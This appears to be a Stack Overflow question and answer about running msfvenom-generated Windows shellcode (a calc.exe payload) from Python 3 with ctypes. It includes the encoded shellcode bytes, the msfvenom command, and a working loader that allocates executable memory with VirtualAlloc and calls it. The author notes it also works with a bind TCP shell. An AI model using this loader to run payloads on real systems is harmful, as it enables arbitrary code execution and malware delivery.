-1

I create some shellcode to pop up calc.exe on Windows. The shellcode is in the variable buf (omitted here for space). With python2.7 it works and the calculator appears. With python 3, it fails with OSError: exception: access violation writing 0x00000023EE895F650 (memory location differs on each run).

Here's the code. As I understand it, create_string_buffer will automatically allocate space to match the length of buf and CFUNCTYPE will use null in place of python's None.

# Win10 Pro 10.0.1863 x64
# Python 2.7.1 32bit win32
# Python 3.8.3 32bit win32 
import ctypes
buf =  b""
buf += b"\xbd\x46\x90\xe4\x4e\xdb\xc8\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc\x03\x68\x49\x72"
buf += b"\x11\xb2\xbd\xf0\xda\x4b\x3d\x95\x53\xae\x0c\x95\x00"
buf += b"\xba\x3e\x25\x42\xee\xb2\xce\x06\x1b\x41\xa2\x8e\x2c"
buf += b"\xe2\x09\xe9\x03\xf3\x22\xc9\x02\x77\x39\x1e\xe5\x46"
buf += b"\xf2\x53\xe4\x8f\xef\x9e\xb4\x58\x7b\x0c\x29\xed\x31"
buf += b"\x8d\xc2\xbd\xd4\x95\x37\x75\xd6\xb4\xe9\x0e\x81\x16"
buf += b"\x0b\xc3\xb9\x1e\x13\x00\x87\xe9\xa8\xf2\x73\xe8\x78"
buf += b"\xcb\x7c\x47\x45\xe4\x8e\x99\x81\xc2\x70\xec\xfb\x31"
buf += b"\x0c\xf7\x3f\x48\xca\x72\xa4\xea\x99\x25\x00\x0b\x4d"
buf += b"\xb3\xc3\x07\x3a\xb7\x8c\x0b\xbd\x14\xa7\x37\x36\x9b"
buf += b"\x68\xbe\x0c\xb8\xac\x9b\xd7\xa1\xf5\x41\xb9\xde\xe6"
buf += b"\x2a\x66\x7b\x6c\xc6\x73\xf6\x2f\x8c\x82\x84\x55\xe2"
buf += b"\x85\x96\x55\x52\xee\xa7\xde\x3d\x69\x38\x35\x7a\x85"
buf += b"\x72\x14\x2a\x0e\xdb\xcc\x6f\x53\xdc\x3a\xb3\x6a\x5f"
buf += b"\xcf\x4b\x89\x7f\xba\x4e\xd5\xc7\x56\x22\x46\xa2\x58"
buf += b"\x91\x67\xe7\x3a\x74\xf4\x6b\x93\x13\x7c\x09\xeb"

def run():
    buffer = ctypes.create_string_buffer(buf)
    shell_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()

I've read and googled but have no idea on why it won't work in Python3. Any ideas?

FWIW, here is how I created the shellcode:

# Linux kali 5.6.0-kali1-amd64
# metasploit v5.0.89-dev
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f python cmd=calc.exe
Tim
  • 1,013
  • 3
  • 17
  • 36
  • why the downvote? – Tim Jun 02 '20 at 22:08
  • Don't omit the shellcode. – Joseph Sible-Reinstate Monica Jun 03 '20 at 02:10
  • The allocated buffer memory is not executable. Just tested it on a debugger. Try copying your buffer into allocation made by `VirtualAlloc()` with `PAGE_EXECUTE_READWRITE`. – Neitsa Jun 03 '20 at 15:21
  • @Neitsa, thanks. I have it working now. If you will make your comment an answer I'll mark it solved.ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(length), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buffer, ctypes.c_int(len(shellcode))) – Tim Jun 03 '20 at 16:05

1 Answers1

2

Thanks to Neitsa's comment, here is the code that works. Using shellcode as above, or your own in a variable called buf:

def run():
    buffer = ctypes.create_string_buffer(buf)
    length = len(buffer)

    ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()

First, allocate enough memory to hold the shellcode. The two constants in VirtualAlloc define

  • 0x1000|0x2000 = MEM_COMMIT | MEM_RESERVE (see MS docs)
  • 0x40 PAGE_EXECUTE_READWRITE

Next, move the shellcode into the allocated memory. Finally, cast the shellcode as a function and call the function. Tested with shellcode given in question (popup calculator) and with a bind tcp shell (not shown).

Still don't know exactly why python3 behaves differently but looks like it's trying to write to non-executable memory. This method works with Python2 or Python3.

Tim
  • 1,013
  • 3
  • 17
  • 36
  • 2
    This method won't work on python 64bits because VirtualAlloc will return only 4 bytes but you need 8 for high addresses in 64bits. See [this answer](https://stackoverflow.com/questions/62036405/how-to-run-shellcode-in-python-3/67403939#67403939) – CravateRouge May 05 '21 at 15:13